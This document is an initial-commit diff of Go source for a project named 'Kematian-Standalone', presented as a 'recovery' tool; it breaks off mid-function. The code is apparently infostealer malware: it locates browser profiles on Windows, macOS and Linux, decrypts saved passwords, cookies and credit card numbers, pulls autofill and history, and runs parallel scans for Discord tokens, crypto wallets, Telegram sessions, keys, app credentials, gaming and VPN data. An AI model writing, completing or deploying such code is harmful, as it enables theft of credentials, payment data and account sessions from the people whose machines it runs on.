initial commit

Kematian-Standalone/native/recovery/browser/browser_darwin.go

@@ -0,0 +1,111 @@
+//go:build darwin
+
+package browser
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/types"
+)
+
+var Browsers = []types.BrowserConfig{
+	// Chromium family
+	{Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"},
+	{Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"},
+	{Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"},
+	{Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"},
+	{Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"},
+	{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"},
+	{Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"},
+	{Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true},
+	{Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true},
+	{Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"},
+	{Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"},
+	// Firefox family
+	{Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true},
+	{Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true},
+	{Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true},
+}
+
+func GetLocalAppData() string {
+	home, _ := os.UserHomeDir()
+	return filepath.Join(home, "Library", "Application Support")
+}
+
+func GetUserDataRoot(cfg types.BrowserConfig) string {
+	return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
+}
+
+func LocalStatePath(cfg types.BrowserConfig) string {
+	return filepath.Join(GetUserDataRoot(cfg), "Local State")
+}
+
+func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
+	root := GetUserDataRoot(cfg)
+
+	if cfg.FlatProfile {
+		if _, err := os.Stat(root); err == nil {
+			return []types.ProfileInfo{{Name: "Default", Path: root}}
+		}
+		return nil
+	}
+
+	if cfg.IsFirefox {
+		return findFirefoxProfiles(root)
+	}
+
+	return findChromiumProfiles(root)
+}
+
+func findChromiumProfiles(root string) []types.ProfileInfo {
+	entries, err := os.ReadDir(root)
+	if err != nil {
+		return nil
+	}
+	var profiles []types.ProfileInfo
+	for _, e := range entries {
+		if !e.IsDir() {
+			continue
+		}
+		prefPath := filepath.Join(root, e.Name(), "Preferences")
+		if _, err := os.Stat(prefPath); err == nil {
+			profiles = append(profiles, types.ProfileInfo{
+				Name: e.Name(),
+				Path: filepath.Join(root, e.Name()),
+			})
+		}
+	}
+	return profiles
+}
+
+func findFirefoxProfiles(root string) []types.ProfileInfo {
+	profilesDir := filepath.Join(root, "Profiles")
+	entries, err := os.ReadDir(profilesDir)
+	if err != nil {
+		return nil
+	}
+	var profiles []types.ProfileInfo
+	for _, e := range entries {
+		if !e.IsDir() {
+			continue
+		}
+		if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
+			profiles = append(profiles, types.ProfileInfo{
+				Name: e.Name(),
+				Path: filepath.Join(profilesDir, e.Name()),
+			})
+		}
+	}
+	return profiles
+}
+
+func IsFirefoxProfileName(name string) bool {
+	parts := strings.SplitN(name, ".", 2)
+	if len(parts) != 2 {
+		return false
+	}
+	suffix := strings.ToLower(parts[1])
+	return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
+}

Kematian-Standalone/native/recovery/browser/browser_linux.go

@@ -0,0 +1,112 @@
+//go:build linux
+
+package browser
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/types"
+)
+
+var Browsers = []types.BrowserConfig{
+	// Chromium family
+	{Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"},
+	{Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"},
+	{Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"},
+	{Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"},
+	{Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"},
+	{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"},
+	{Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"},
+	{Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true},
+	// Firefox family
+	{Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true},
+	{Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true},
+	{Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true},
+}
+
+func GetLocalAppData() string {
+	home, _ := os.UserHomeDir()
+	return filepath.Join(home, ".config")
+}
+
+func GetUserDataRoot(cfg types.BrowserConfig) string {
+	if cfg.IsFirefox {
+		home, _ := os.UserHomeDir()
+		return filepath.Join(home, cfg.UserDataPath)
+	}
+	return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
+}
+
+func LocalStatePath(cfg types.BrowserConfig) string {
+	return filepath.Join(GetUserDataRoot(cfg), "Local State")
+}
+
+func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
+	root := GetUserDataRoot(cfg)
+
+	if cfg.FlatProfile {
+		if _, err := os.Stat(root); err == nil {
+			return []types.ProfileInfo{{Name: "Default", Path: root}}
+		}
+		return nil
+	}
+
+	if cfg.IsFirefox {
+		return findFirefoxProfiles(root)
+	}
+
+	return findChromiumProfiles(root)
+}
+
+func findChromiumProfiles(root string) []types.ProfileInfo {
+	entries, err := os.ReadDir(root)
+	if err != nil {
+		return nil
+	}
+	var profiles []types.ProfileInfo
+	for _, e := range entries {
+		if !e.IsDir() {
+			continue
+		}
+		prefPath := filepath.Join(root, e.Name(), "Preferences")
+		if _, err := os.Stat(prefPath); err == nil {
+			profiles = append(profiles, types.ProfileInfo{
+				Name: e.Name(),
+				Path: filepath.Join(root, e.Name()),
+			})
+		}
+	}
+	return profiles
+}
+
+func findFirefoxProfiles(root string) []types.ProfileInfo {
+	profilesDir := root
+	entries, err := os.ReadDir(profilesDir)
+	if err != nil {
+		return nil
+	}
+	var profiles []types.ProfileInfo
+	for _, e := range entries {
+		if !e.IsDir() {
+			continue
+		}
+		if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
+			profiles = append(profiles, types.ProfileInfo{
+				Name: e.Name(),
+				Path: filepath.Join(profilesDir, e.Name()),
+			})
+		}
+	}
+	return profiles
+}
+
+func IsFirefoxProfileName(name string) bool {
+	parts := strings.SplitN(name, ".", 2)
+	if len(parts) != 2 {
+		return false
+	}
+	suffix := strings.ToLower(parts[1])
+	return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
+}

Kematian-Standalone/native/recovery/browser/browser_windows.go

@@ -0,0 +1,113 @@
+//go:build windows
+
+package browser
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/types"
+)
+
+var Browsers = []types.BrowserConfig{
+	// ── Chromium family (LOCALAPPDATA) ────────────────────────────────────────
+	{Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"},
+	{Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"},
+	{Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"},
+	{Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"},
+	{Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"},
+	{Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"},
+	// ── Opera (APPDATA, flat profile) ────────────────────────────────────────
+	// ts doesn't work will fix in the future
+	{Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
+	{Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
+	// ── Firefox family (APPDATA, Firefox profile layout) ─────────────────────
+	{Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true},
+	{Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true},
+	{Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true},
+}
+
+func GetLocalAppData() string {
+	return os.Getenv("LOCALAPPDATA")
+}
+
+func GetUserDataRoot(cfg types.BrowserConfig) string {
+	base := os.Getenv("LOCALAPPDATA")
+	if cfg.UseAppData {
+		base = os.Getenv("APPDATA")
+	}
+	return filepath.Join(base, cfg.UserDataPath)
+}
+
+func LocalStatePath(cfg types.BrowserConfig) string {
+	return filepath.Join(GetUserDataRoot(cfg), "Local State")
+}
+
+func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
+	root := GetUserDataRoot(cfg)
+
+	if cfg.FlatProfile {
+		if _, err := os.Stat(root); err == nil {
+			return []types.ProfileInfo{{Name: "Default", Path: root}}
+		}
+		return nil
+	}
+
+	if cfg.IsFirefox {
+		return findFirefoxProfiles(root)
+	}
+
+	return findChromiumProfiles(root)
+}
+
+func findChromiumProfiles(root string) []types.ProfileInfo {
+	entries, err := os.ReadDir(root)
+	if err != nil {
+		return nil
+	}
+	var profiles []types.ProfileInfo
+	for _, e := range entries {
+		if !e.IsDir() {
+			continue
+		}
+		prefPath := filepath.Join(root, e.Name(), "Preferences")
+		if _, err := os.Stat(prefPath); err == nil {
+			profiles = append(profiles, types.ProfileInfo{
+				Name: e.Name(),
+				Path: filepath.Join(root, e.Name()),
+			})
+		}
+	}
+	return profiles
+}
+
+func findFirefoxProfiles(root string) []types.ProfileInfo {
+	profilesDir := filepath.Join(root, "Profiles")
+	entries, err := os.ReadDir(profilesDir)
+	if err != nil {
+		return nil
+	}
+	var profiles []types.ProfileInfo
+	for _, e := range entries {
+		if !e.IsDir() {
+			continue
+		}
+		if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
+			profiles = append(profiles, types.ProfileInfo{
+				Name: e.Name(),
+				Path: filepath.Join(profilesDir, e.Name()),
+			})
+		}
+	}
+	return profiles
+}
+
+func IsFirefoxProfileName(name string) bool {
+	parts := strings.SplitN(name, ".", 2)
+	if len(parts) != 2 {
+		return false
+	}
+	suffix := strings.ToLower(parts[1])
+	return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
+}

Kematian-Standalone/native/recovery/browser/log.go

@@ -0,0 +1,7 @@
+package browser
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[browser] "+format, args...)
+}

Kematian-Standalone/native/recovery/chromium/chromium.go

@@ -0,0 +1,316 @@
+package chromium
+
+import (
+	"database/sql"
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/crypto"
+	"recovery/recovery/db"
+	"recovery/recovery/types"
+)
+
+const HistoryLimit = 5000
+
+func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult {
+	var results []types.PasswordResult
+
+	for _, dbFile := range []string{"Login Data", "Login Data For Account"} {
+		dbPath := filepath.Join(profile.Path, dbFile)
+		if _, err := os.Stat(dbPath); err != nil {
+			continue
+		}
+		d, err := db.OpenDatabase(dbPath, pids)
+		if err != nil {
+			continue
+		}
+
+		rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins")
+		if err != nil {
+			d.Close()
+			continue
+		}
+		for rows.Next() {
+			var url, username sql.NullString
+			var passwordBlob []byte
+			rows.Scan(&url, &username, &passwordBlob)
+			password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20)
+			if dbFile == "Login Data For Account" && password == "" {
+				continue
+			}
+			if url.String != "" && (username.String != "" || password != "") {
+				results = append(results, types.PasswordResult{
+					URL:      url.String,
+					Username: username.String,
+					Password: password,
+					Browser:  cfg.Name,
+					Profile:  profile.Name,
+				})
+			}
+		}
+		rows.Close()
+		d.Close()
+	}
+
+	return results
+}
+
+func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult {
+	dbPath := filepath.Join(profile.Path, "Network", "Cookies")
+	if _, err := os.Stat(dbPath); err != nil {
+		dbPath = filepath.Join(profile.Path, "Cookies")
+		if _, err := os.Stat(dbPath); err != nil {
+			return nil
+		}
+	}
+
+	d, err := db.OpenDatabase(dbPath, pids)
+	if err != nil {
+		logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err)
+		return nil
+	}
+	defer d.Close()
+
+	rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies")
+	if err != nil {
+		logf("cookie query failed for %s: %v", cfg.Name, err)
+		return nil
+	}
+	defer rows.Close()
+
+	var results []types.CookieResult
+	count := 0
+	for rows.Next() {
+		count++
+		var host, name, path, plainValue sql.NullString
+		var secure, httpOnly sql.NullBool
+		var expiresUTC sql.NullInt64
+		var encryptedValue []byte
+
+		rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue)
+		value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20)
+		if value == "" {
+			value = plainValue.String
+		}
+		results = append(results, types.CookieResult{
+			Host:       host.String,
+			Name:       name.String,
+			Value:      value,
+			Path:       path.String,
+			Secure:     secure.Bool,
+			HTTPOnly:   httpOnly.Bool,
+			ExpiresUTC: expiresUTC.Int64,
+			Browser:    cfg.Name,
+			Profile:    profile.Name,
+		})
+	}
+	logf("cookie row count for %s: %d", cfg.Name, count)
+	return results
+}
+
+func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
+	dbPath := filepath.Join(profile.Path, "Web Data")
+	if _, err := os.Stat(dbPath); err != nil {
+		return nil
+	}
+	d, err := db.OpenDatabase(dbPath, pids)
+	if err != nil {
+		return nil
+	}
+	defer d.Close()
+
+	queries := []string{
+		"SELECT name, value, date_created, count FROM autofill",
+		"SELECT name, value, count FROM autofill",
+		"SELECT name, value FROM autofill",
+	}
+
+	var results []types.AutofillResult
+	for _, q := range queries {
+		rows, err := d.Query(q)
+		if err != nil {
+			continue
+		}
+		for rows.Next() {
+			var name, value sql.NullString
+			var dateCreated, count sql.NullInt64
+			switch len(strings.Split(q, ",")) {
+			case 4:
+				rows.Scan(&name, &value, &dateCreated, &count)
+			case 3:
+				rows.Scan(&name, &value, &count)
+			default:
+				rows.Scan(&name, &value)
+			}
+			if name.String != "" {
+				results = append(results, types.AutofillResult{
+					Name:        name.String,
+					Value:       value.String,
+					DateCreated: dateCreated.Int64,
+					Browser:     cfg.Name,
+					Profile:     profile.Name,
+				})
+			}
+		}
+		rows.Close()
+		if len(results) > 0 {
+			break
+		}
+	}
+	return results
+}
+
+func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult {
+	dbPath := filepath.Join(profile.Path, "History")
+	if _, err := os.Stat(dbPath); err != nil {
+		return nil
+	}
+	d, err := db.OpenDatabase(dbPath, pids)
+	if err != nil {
+		return nil
+	}
+	defer d.Close()
+
+	queries := []string{
+		fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
+		fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
+	}
+
+	var results []types.HistoryResult
+	for _, q := range queries {
+		rows, err := d.Query(q)
+		if err != nil {
+			continue
+		}
+		for rows.Next() {
+			var url, title sql.NullString
+			var visitTime sql.NullInt64
+			var transition, duration sql.NullInt64
+
+			if strings.Contains(q, "visit_duration") {
+				rows.Scan(&url, &title, &visitTime, &transition, &duration)
+			} else {
+				rows.Scan(&url, &title, &visitTime, &transition)
+			}
+
+			var visitTimeUnix int64
+			if visitTime.Int64 > 0 {
+				visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000
+			}
+			if url.String != "" {
+				results = append(results, types.HistoryResult{
+					URL:           url.String,
+					Title:         title.String,
+					VisitTimeUnix: visitTimeUnix,
+					VisitCount:    duration.Int64,
+					Browser:       cfg.Name,
+					Profile:       profile.Name,
+				})
+			}
+		}
+		rows.Close()
+		if len(results) > 0 {
+			break
+		}
+	}
+	return results
+}
+
+func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
+	bookmarkPath := filepath.Join(profile.Path, "Bookmarks")
+	data, err := os.ReadFile(bookmarkPath)
+	if err != nil {
+		return nil
+	}
+
+	var bookmarkData map[string]interface{}
+	if err := json.Unmarshal(data, &bookmarkData); err != nil {
+		return nil
+	}
+
+	var results []types.BookmarkResult
+	if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok {
+		walkBookmarkNode(roots, cfg.Name, profile.Name, &results)
+	}
+	return results
+}
+
+func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
+	for _, key := range []string{"bookmark_bar", "other", "synced"} {
+		if child, ok := node[key].(map[string]interface{}); ok {
+			walkBookmarkChildren(child, browser, profileName, results)
+		}
+	}
+}
+
+func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
+	children, ok := node["children"].([]interface{})
+	if !ok {
+		return
+	}
+	for _, c := range children {
+		child, ok := c.(map[string]interface{})
+		if !ok {
+			continue
+		}
+		switch child["type"] {
+		case "url":
+			name, _ := child["name"].(string)
+			url, _ := child["url"].(string)
+			if url != "" {
+				*results = append(*results, types.BookmarkResult{
+					Name:    name,
+					URL:     url,
+					Type:    "url",
+					Browser: browser,
+					Profile: profileName,
+				})
+			}
+		case "folder":
+			walkBookmarkChildren(child, browser, profileName, results)
+		}
+	}
+}
+
+func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult {
+	dbPath := filepath.Join(profile.Path, "Web Data")
+	if _, err := os.Stat(dbPath); err != nil {
+		return nil
+	}
+	d, err := db.OpenDatabase(dbPath, pids)
+	if err != nil {
+		return nil
+	}
+	defer d.Close()
+
+	rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards")
+	if err != nil {
+		return nil
+	}
+	defer rows.Close()
+
+	var results []types.CreditCardResult
+	for rows.Next() {
+		var name, nickname sql.NullString
+		var expMonth, expYear sql.NullInt64
+		var encrypted []byte
+		rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname)
+
+		cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20)
+		if name.String != "" || cardNumber != "" {
+			results = append(results, types.CreditCardResult{
+				NameOnCard:      name.String,
+				ExpirationMonth: int(expMonth.Int64),
+				ExpirationYear:  int(expYear.Int64),
+				CardNumber:      cardNumber,
+				Nickname:        nickname.String,
+				Browser:         cfg.Name,
+				Profile:         profile.Name,
+			})
+		}
+	}
+	return results
+}

Kematian-Standalone/native/recovery/chromium/log.go

@@ -0,0 +1,7 @@
+package chromium
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[chromium] "+format, args...)
+}

Kematian-Standalone/native/recovery/collect.go

@@ -0,0 +1,399 @@
+package recovery
+
+import (
+	"context"
+	"fmt"
+	"sync"
+
+	"recovery/recovery/browser"
+	"recovery/recovery/chromium"
+	"recovery/recovery/crypto"
+	"recovery/recovery/discord"
+	"recovery/recovery/firefox"
+	"recovery/recovery/platform"
+	"recovery/recovery/scanner"
+	"recovery/recovery/types"
+)
+
+func mergeInto(dst, src *types.CollectionResult) {
+	dst.Passwords = append(dst.Passwords, src.Passwords...)
+	dst.Cookies = append(dst.Cookies, src.Cookies...)
+	dst.Autofill = append(dst.Autofill, src.Autofill...)
+	dst.History = append(dst.History, src.History...)
+	dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...)
+	dst.CreditCards = append(dst.CreditCards, src.CreditCards...)
+	dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...)
+	dst.Files = append(dst.Files, src.Files...)
+	dst.Wallets = append(dst.Wallets, src.Wallets...)
+	dst.Telegram = append(dst.Telegram, src.Telegram...)
+	dst.Keys = append(dst.Keys, src.Keys...)
+	dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...)
+	if src.Gaming != nil {
+		dst.Gaming = src.Gaming
+	}
+	if src.VPNs != nil {
+		dst.VPNs = src.VPNs
+	}
+	dst.Errors = append(dst.Errors, src.Errors...)
+}
+
+func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) {
+	result := &types.CollectionResult{}
+
+	platform.ResetHandleCache()
+	defer platform.ResetHandleCache()
+
+	var (
+		mu sync.Mutex
+		wg sync.WaitGroup
+	)
+
+	launchScans(opts, result, partialFn, &wg, &mu)
+
+	platformSetupCollect()
+	defer platformTeardownCollect()
+
+	needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill ||
+		opts.History || opts.Bookmarks || opts.CreditCards
+
+	type job struct {
+		cfg     types.BrowserConfig
+		keys    *types.ResolvedKeys
+		profile types.ProfileInfo
+		pids    []uint32
+	}
+
+	jobCh := make(chan job, 64)
+
+	// Launch extraction workers up front so they can consume jobs as soon as
+	// each browser's keys resolve, instead of waiting for every browser's key
+	// resolution (and its headless spawn) to finish first.
+	const workers = 4
+	for i := 0; i < workers; i++ {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("browser profile extraction", &result.Errors, &mu)
+			for j := range jobCh {
+				select {
+				case <-ctx.Done():
+					return
+				default:
+				}
+				func() {
+					defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu)
+					partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts)
+					mu.Lock()
+					mergeInto(result, partial)
+					mu.Unlock()
+					if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 ||
+						len(partial.Autofill) > 0 || len(partial.History) > 0 ||
+						len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) {
+						partialFn(partial)
+					}
+				}()
+			}
+		}()
+	}
+
+	if needsBrowserData {
+		const keyWorkers = 3
+		sem := make(chan struct{}, keyWorkers)
+		var keyWg sync.WaitGroup
+		for _, cfg := range browser.Browsers {
+			profiles := browser.FindProfileDirs(cfg)
+			if len(profiles) == 0 {
+				continue
+			}
+			keyWg.Add(1)
+			go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) {
+				defer keyWg.Done()
+				sem <- struct{}{}
+				defer func() { <-sem }()
+
+				logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles))
+				keys, err := crypto.ResolveKeys(cfg)
+				if err != nil {
+					logf("%s key resolution failed: %v", cfg.Name, err)
+					keys = &types.ResolvedKeys{}
+					mu.Lock()
+					result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err))
+					mu.Unlock()
+				}
+				pids, _ := platform.FindProcesses(cfg.ProcessName)
+
+				for _, p := range profiles {
+					select {
+					case jobCh <- job{cfg, keys, p, pids}:
+					case <-ctx.Done():
+						logf("collection deadline reached; stopping job producer for %s", cfg.Name)
+						return
+					}
+				}
+			}(cfg, profiles)
+		}
+
+		go func() {
+			keyWg.Wait()
+			close(jobCh)
+		}()
+	} else {
+		close(jobCh)
+	}
+
+	wg.Wait()
+
+	if err := ctx.Err(); err != nil {
+		note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err)
+		result.Errors = append(result.Errors, note)
+		logf("%s", note)
+	}
+
+	return result, nil
+}
+
+func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) {
+	if opts.Discord {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("discord token extraction", &result.Errors, mu)
+			tokens := discord.ExtractTokens()
+			if len(tokens) > 0 {
+				mu.Lock()
+				result.DiscordTokens = append(result.DiscordTokens, tokens...)
+				mu.Unlock()
+				if partialFn != nil {
+					partialFn(&types.CollectionResult{DiscordTokens: tokens})
+				}
+			}
+		}()
+	}
+
+	if opts.Files {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("file scan", &result.Errors, mu)
+			files := scanner.ScanFiles()
+			if len(files) > 0 {
+				mu.Lock()
+				result.Files = append(result.Files, files...)
+				mu.Unlock()
+				if partialFn != nil {
+					partialFn(&types.CollectionResult{Files: files})
+				}
+			}
+		}()
+	}
+
+	if opts.Wallets {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("wallet scan", &result.Errors, mu)
+			wallets := scanner.ScanWallets()
+			if len(wallets) > 0 {
+				mu.Lock()
+				result.Wallets = append(result.Wallets, wallets...)
+				mu.Unlock()
+				if partialFn != nil {
+					partialFn(&types.CollectionResult{Wallets: wallets})
+				}
+			}
+		}()
+	}
+
+	if opts.Telegram {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("telegram scan", &result.Errors, mu)
+			sessions := scanner.ScanTelegram()
+			if len(sessions) > 0 {
+				mu.Lock()
+				result.Telegram = append(result.Telegram, sessions...)
+				mu.Unlock()
+				if partialFn != nil {
+					partialFn(&types.CollectionResult{Telegram: sessions})
+				}
+			}
+		}()
+	}
+
+	if opts.Keys {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("key scan", &result.Errors, mu)
+			keys := scanner.ScanKeys()
+			if len(keys) > 0 {
+				mu.Lock()
+				result.Keys = append(result.Keys, keys...)
+				mu.Unlock()
+				if partialFn != nil {
+					partialFn(&types.CollectionResult{Keys: keys})
+				}
+			}
+		}()
+	}
+
+	if opts.Apps {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("app credentials scan", &result.Errors, mu)
+			apps := scanner.ScanApps()
+			if len(apps) > 0 {
+				mu.Lock()
+				result.AppCredentials = append(result.AppCredentials, apps...)
+				mu.Unlock()
+				if partialFn != nil {
+					partialFn(&types.CollectionResult{AppCredentials: apps})
+				}
+			}
+		}()
+	}
+
+	if opts.Gaming {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("gaming scan", &result.Errors, mu)
+			gaming := ScanGaming()
+			if gaming != nil {
+				mu.Lock()
+				result.Gaming = gaming
+				mu.Unlock()
+				if partialFn != nil {
+					partialFn(&types.CollectionResult{Gaming: gaming})
+				}
+			}
+		}()
+	}
+
+	if opts.VPNs {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors("vpn scan", &result.Errors, mu)
+			vpns := ScanVPNs()
+			if vpns != nil {
+				mu.Lock()
+				result.VPNs = vpns
+				mu.Unlock()
+				if partialFn != nil {
+					partialFn(&types.CollectionResult{VPNs: vpns})
+				}
+			}
+		}()
+	}
+}
+
+func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult {
+	partial := &types.CollectionResult{}
+	var (
+		wg   sync.WaitGroup
+		eMu  sync.Mutex
+		errs []string
+	)
+	label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name)
+
+	if cfg.IsFirefox {
+		if opts.Passwords {
+			wg.Add(1)
+			go func() {
+				defer wg.Done()
+				defer recoverErrors(label+" password extraction", &errs, &eMu)
+				partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids)
+			}()
+		}
+		if opts.Cookies {
+			wg.Add(1)
+			go func() {
+				defer wg.Done()
+				defer recoverErrors(label+" cookie extraction", &errs, &eMu)
+				partial.Cookies = firefox.ExtractCookies(profile, cfg)
+			}()
+		}
+		if opts.Autofill {
+			wg.Add(1)
+			go func() {
+				defer wg.Done()
+				defer recoverErrors(label+" autofill extraction", &errs, &eMu)
+				partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids)
+			}()
+		}
+		if opts.History {
+			wg.Add(1)
+			go func() {
+				defer wg.Done()
+				defer recoverErrors(label+" history extraction", &errs, &eMu)
+				partial.History = firefox.ExtractHistory(profile, cfg)
+			}()
+		}
+		if opts.Bookmarks {
+			wg.Add(1)
+			go func() {
+				defer wg.Done()
+				defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
+				partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg)
+			}()
+		}
+		wg.Wait()
+		partial.Errors = errs
+		return partial
+	}
+
+	if opts.Passwords {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors(label+" password extraction", &errs, &eMu)
+			partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids)
+		}()
+	}
+	if opts.Cookies {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			defer recoverErrors(label+" cookie extraction", &errs, &eMu)
+			partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids)
+		}()
+	}
+	if opts.Autofill {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
